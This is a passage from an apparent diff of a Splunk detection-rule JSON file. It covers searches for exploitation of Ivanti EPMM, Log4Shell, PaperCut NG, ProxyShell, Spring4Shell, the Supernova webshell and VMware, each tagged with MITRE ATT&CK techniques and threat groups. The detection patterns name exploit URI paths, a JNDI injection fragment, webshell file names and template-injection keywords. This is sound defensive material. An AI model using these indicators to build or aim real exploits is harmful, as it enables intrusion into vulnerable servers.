"APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Ivanti EPMM Remote Unauthenticated API Access CVE-2023-35078", - "description": "The following analytic detects attempts to exploit CVE-2023-35078, a vulnerability in Ivanti Endpoint Manager Mobile (EPMM) versions up to 11.4. It identifies HTTP requests to the endpoint \"/mifs/aad/api/v2/authorized/users?*\" with a status code of 200 in web logs. This activity is significant as it indicates unauthorized remote access to restricted functionalities or resources. If confirmed malicious, this could lead to data theft, unauthorized modifications, or further system compromise, necessitating immediate action to mitigate potential severe impacts.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url IN (\"/mifs/aad/api/v2/authorized/users?*\") Web.status=200 by Web.http_user_agent, Web.status Web.http_method, Web.url, Web.url_length, Web.src, Web.dest, sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `ivanti_epmm_remote_unauthenticated_api_access_cve_2023_35078_filter`", - "tags": { - "analytic_story": [ - "Ivanti EPMM Remote Unauthenticated Access" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Potential CVE-2023-35078 against an Ivanti EPMM appliance on $dest$.", - "risk_score": 64, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Ivanti EPMM Remote Unauthenticated API Access CVE-2023-35082", - "description": "The following analytic detects potential unauthorized access attempts exploiting CVE-2023-35082 within Ivanti's software products. It identifies access to the specific URI path /mifs/asfV3/api/v2/ with an HTTP 200 response code in web access logs, indicating successful unauthorized access. This activity is significant for a SOC as it highlights potential security breaches that could lead to unauthorized data access or system modifications. If confirmed malicious, an attacker could gain unbridled access to sensitive organizational data or modify systems maliciously, posing severe security risks.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url IN (\"/mifs/asfV3/api/v2/*\") Web.status=200 by Web.http_user_agent, Web.status Web.http_method, Web.url, Web.url_length, Web.src, Web.dest, sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `ivanti_epmm_remote_unauthenticated_api_access_cve_2023_35082_filter`", - "tags": { - "analytic_story": [ - "Ivanti EPMM Remote Unauthenticated Access" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Potential CVE-2023-35082 against an Ivanti EPMM appliance on $dest$.", - "risk_score": 64, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Log4Shell JNDI Payload Injection Attempt", - "description": "The following analytic identifies attempts to inject Log4Shell JNDI payloads via web calls. It leverages the Web datamodel and uses regex to detect patterns like `${jndi:ldap://` in raw web event data, including HTTP headers. This activity is significant because it targets vulnerabilities in Java web applications using Log4j, such as Apache Struts and Solr. If confirmed malicious, this could allow attackers to execute arbitrary code, potentially leading to full system compromise. Immediate investigation is required to determine if the attempt was successful and to mitigate any potential exploitation.", - "search": "| from datamodel Web.Web | regex _raw=\"[jJnNdDiI]{4}(\\:|\\%3A|\\/|\\%2F)\\w+(\\:\\/\\/|\\%3A\\%2F\\%2F)(\\$\\{.*?\\}(\\.)?)?\" | fillnull | stats count by action, category, dest, dest_port, http_content_type, http_method, http_referrer, http_user_agent, site, src, url, url_domain, user | `log4shell_jndi_payload_injection_attempt_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-257A", - "CISA AA22-320A", - "Log4Shell CVE-2021-44228" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "CVE-2021-44228 Log4Shell triggered for host $dest$", - "risk_score": 15, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Log4Shell JNDI Payload Injection with Outbound Connection", - "description": "The following analytic detects Log4Shell JNDI payload injections via outbound connections. It identifies suspicious LDAP lookup functions in web logs, such as `${jndi:ldap://PAYLOAD_INJECTED}`, and correlates them with network traffic to known malicious IP addresses. This detection leverages the Web and Network_Traffic data models in Splunk. Monitoring this activity is crucial as it targets vulnerabilities in Java web applications using log4j, potentially leading to remote code execution. If confirmed malicious, attackers could gain unauthorized access, execute arbitrary code, and compromise sensitive data within the affected environment.", - "search": "| from datamodel Web.Web | rex field=_raw max_match=0 \"[jJnNdDiI]{4}(\\:|\\%3A|\\/|\\%2F)(?\\w+)(\\:\\/\\/|\\%3A\\%2F\\%2F)(\\$\\{.*?\\}(\\.)?)?(?[a-zA-Z0-9\\.\\-\\_\\$]+)\" | join affected_host type=inner [| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Network_Traffic.All_Traffic by All_Traffic.dest | `drop_dm_object_name(All_Traffic)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | rename dest AS affected_host] | fillnull | stats count by action, category, dest, dest_port, http_content_type, http_method, http_referrer, http_user_agent, site, src, url, url_domain, user | `log4shell_jndi_payload_injection_with_outbound_connection_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-320A", - "Log4Shell CVE-2021-44228" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "CVE-2021-44228 Log4Shell triggered for host $dest$", - "risk_score": 15, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "PaperCut NG Remote Web Access Attempt", - "description": "The following analytic detects potential exploitation attempts on publicly accessible PaperCut NG servers. It identifies connections from public IP addresses to the server, specifically monitoring URI paths commonly used in proof-of-concept scripts for exploiting PaperCut NG vulnerabilities. This detection leverages web traffic data from the `Web` datamodel, focusing on specific URI paths and excluding internal IP ranges. This activity is significant as it may indicate an attempt to exploit known vulnerabilities in PaperCut NG, potentially leading to unauthorized access or control of the server. If confirmed malicious, attackers could gain administrative access, leading to data breaches or further network compromise.", - "search": "| tstats count from datamodel=Web where Web.url IN (\"/app?service=page/SetupCompleted\", \"/app\", \"/app?service=page/PrinterList\", \"/app?service=direct/1/PrinterList/selectPrinter&sp=*\", \"/app?service=direct/1/PrinterDetails/printerOptionsTab.tab\") NOT (src IN (\"10.*.*.*\",\"172.16.*.*\", \"192.168.*.*\", \"169.254.*.*\", \"127.*.*.*\", \"fc00::*\", \"fd00::*\", \"fe80::*\")) by Web.http_user_agent Web.http_method, Web.url,Web.url_length Web.src, Web.dest Web.dest_port sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `papercut_ng_remote_web_access_attempt_filter`", - "tags": { - "analytic_story": [ - "PaperCut MF NG Vulnerability" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "URIs specific to PaperCut NG have been access by a public IP against $dest$.", - "risk_score": 63, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "ProxyShell ProxyNotShell Behavior Detected", - "description": "The following analytic identifies potential exploitation of Windows Exchange servers via ProxyShell or ProxyNotShell vulnerabilities, followed by post-exploitation activities such as running nltest, Cobalt Strike, Mimikatz, and adding new users. It leverages data from multiple analytic stories, requiring at least five distinct sources to trigger, thus reducing noise. This activity is significant as it indicates a high likelihood of an active compromise, potentially leading to unauthorized access, privilege escalation, and persistent threats within the environment. If confirmed malicious, attackers could gain control over the Exchange server, exfiltrate data, and maintain long-term access.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime sum(All_Risk.calculated_risk_score) as risk_score, count(All_Risk.calculated_risk_score) as risk_event_count, values(All_Risk.annotations.mitre_attack.mitre_tactic_id) as annotations.mitre_attack.mitre_tactic_id, dc(All_Risk.annotations.mitre_attack.mitre_tactic_id) as mitre_tactic_id_count, values(All_Risk.analyticstories) as analyticstories values(All_Risk.annotations.mitre_attack.mitre_technique_id) as annotations.mitre_attack.mitre_technique_id, dc(All_Risk.annotations.mitre_attack.mitre_technique_id) as mitre_technique_id_count, values(All_Risk.tag) as tag, values(source) as source, dc(source) as source_count dc(All_Risk.analyticstories) as dc_analyticstories from datamodel=Risk.All_Risk where All_Risk.analyticstories IN (\"ProxyNotShell\",\"ProxyShell\") OR (All_Risk.analyticstories IN (\"ProxyNotShell\",\"ProxyShell\") AND All_Risk.analyticstories=\"Cobalt Strike\") All_Risk.risk_object_type=\"system\" by _time span=1h All_Risk.risk_object All_Risk.risk_object_type | `drop_dm_object_name(All_Risk)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| where source_count >=5 | `proxyshell_proxynotshell_behavior_detected_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "ProxyNotShell", - "ProxyShell" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "risk_object", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "ProxyShell or ProxyNotShell activity has been identified on $risk_object$.", - "risk_score": 81, - "security_domain": "network", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Spring4Shell Payload URL Request", - "description": "The following analytic detects attempts to exploit the Spring4Shell vulnerability (CVE-2022-22963) by identifying specific URL patterns associated with web shell payloads. It leverages web traffic data, focusing on HTTP GET requests with URLs containing indicators like \"tomcatwar.jsp,\" \"poc.jsp,\" and \"shell.jsp.\" This activity is significant as it suggests an attacker is trying to deploy a web shell, which can lead to remote code execution. If confirmed malicious, this could allow the attacker to gain persistent access, execute arbitrary commands, and potentially escalate privileges within the compromised environment.", - "search": "| tstats count from datamodel=Web where Web.http_method IN (\"GET\") Web.url IN (\"*tomcatwar.jsp*\",\"*poc.jsp*\",\"*shell.jsp*\") by Web.http_user_agent Web.http_method, Web.url,Web.url_length Web.src, Web.dest sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `spring4shell_payload_url_request_filter`", - "tags": { - "analytic_story": [ - "Spring4Shell CVE-2022-22965" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "A URL was requested related to Spring4Shell POC code on $dest$ by $src$.", - "risk_score": 36, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505.003", - "mitre_attack_technique": "Web Shell", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT38", - "APT39", - "APT5", - "BackdoorDiplomacy", - "Deep Panda", - "Dragonfly", - "FIN13", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Kimsuky", - "Leviathan", - "Magic Hound", - "Moses Staff", - "OilRig", - "Sandworm Team", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Volatile Cedar", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Supernova Webshell", - "description": "The following analytic detects the presence of the Supernova webshell, used in the SUNBURST attack, by identifying specific patterns in web URLs. The detection leverages Splunk to search for URLs containing \"*logoimagehandler.ashx*codes*\", \"*logoimagehandler.ashx*clazz*\", \"*logoimagehandler.ashx*method*\", and \"*logoimagehandler.ashx*args*\". This activity is significant as it indicates potential unauthorized access and arbitrary code execution on a compromised system. If confirmed malicious, this could lead to data theft, ransomware deployment, or other severe outcomes. Immediate steps include reviewing the web URLs, inspecting on-disk artifacts, and analyzing concurrent processes and network connections.", - "search": "| tstats `security_content_summariesonly` count from datamodel=Web.Web where web.url=*logoimagehandler.ashx*codes* OR Web.url=*logoimagehandler.ashx*clazz* OR Web.url=*logoimagehandler.ashx*method* OR Web.url=*logoimagehandler.ashx*args* by Web.src Web.dest Web.url Web.vendor_product Web.user Web.http_user_agent _time span=1s | `supernova_webshell_filter`", - "tags": { - "analytic_story": [ - "NOBELIUM Group" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505.003", - "mitre_attack_technique": "Web Shell", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT38", - "APT39", - "APT5", - "BackdoorDiplomacy", - "Deep Panda", - "Dragonfly", - "FIN13", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Kimsuky", - "Leviathan", - "Magic Hound", - "Moses Staff", - "OilRig", - "Sandworm Team", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Volatile Cedar", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "VMWare Aria Operations Exploit Attempt", - "description": "The following analytic detects potential exploitation attempts against VMWare vRealize Network Insight, specifically targeting the CVE-2023-20887 vulnerability. It monitors web traffic for HTTP POST requests directed at the vulnerable endpoint \"/saas./resttosaasservlet.\" This detection leverages web traffic data, focusing on specific URL patterns and HTTP methods. Identifying this behavior is crucial for a SOC as it indicates an active exploit attempt. If confirmed malicious, the attacker could execute arbitrary code, leading to unauthorized access, data theft, or further network compromise.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url IN (\"*/saas./resttosaasservlet*\") Web.http_method=POST Web.status IN (\"unknown\", \"200\") by Web.http_user_agent, Web.status Web.http_method, Web.url, Web.url_length, Web.src, Web.dest, sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `vmware_aria_operations_exploit_attempt_filter`", - "tags": { - "analytic_story": [ - "VMware Aria Operations vRealize CVE-2023-20887" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "An exploitation attempt has occurred against $dest$ from $src$ related to CVE-2023-20887", - "risk_score": 72, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1210", - "mitre_attack_technique": "Exploitation of Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT28", - "Dragonfly", - "Earth Lusca", - "FIN7", - "Fox Kitten", - "MuddyWater", - "Threat Group-3390", - "Tonto Team", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1068", - "mitre_attack_technique": "Exploitation for Privilege Escalation", - "mitre_attack_tactics": [ - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT33", - "BITTER", - "Cobalt Group", - "FIN6", - "FIN8", - "LAPSUS$", - "MoustachedBouncer", - "PLATINUM", - "Scattered Spider", - "Threat Group-3390", - "Tonto Team", - "Turla", - "Whitefly", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "VMware Server Side Template Injection Hunt", - "description": "The following analytic identifies potential server-side template injection attempts related to CVE-2022-22954. It detects suspicious URL patterns containing \"deviceudid\" and keywords like \"java.lang.ProcessBuilder\" or \"freemarker.template.utility.ObjectConstructor\" using web or proxy logs within the Web Datamodel. This activity is significant as it may indicate an attempt to exploit a known vulnerability in VMware, potentially leading to remote code execution. If confirmed malicious, attackers could gain unauthorized access, execute arbitrary code, and compromise the affected system, posing a severe security risk.", - "search": "| tstats count from datamodel=Web where Web.http_method IN (\"GET\") Web.url=\"*deviceudid=*\" AND Web.url IN (\"*java.lang.ProcessBuilder*\",\"*freemarker.template.utility.ObjectConstructor*\") by Web.http_user_agent Web.http_method, Web.url,Web.url_length Web.src, Web.dest sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `vmware_server_side_template_injection_hunt_filter`", - "tags": { - "analytic_story": [ - "VMware Server Side Injection and Privilege Escalation" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An attempt to exploit a VMware Server Side Injection CVE-2022-22954 on $dest$ has occurred.", - "risk_score": 35, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit 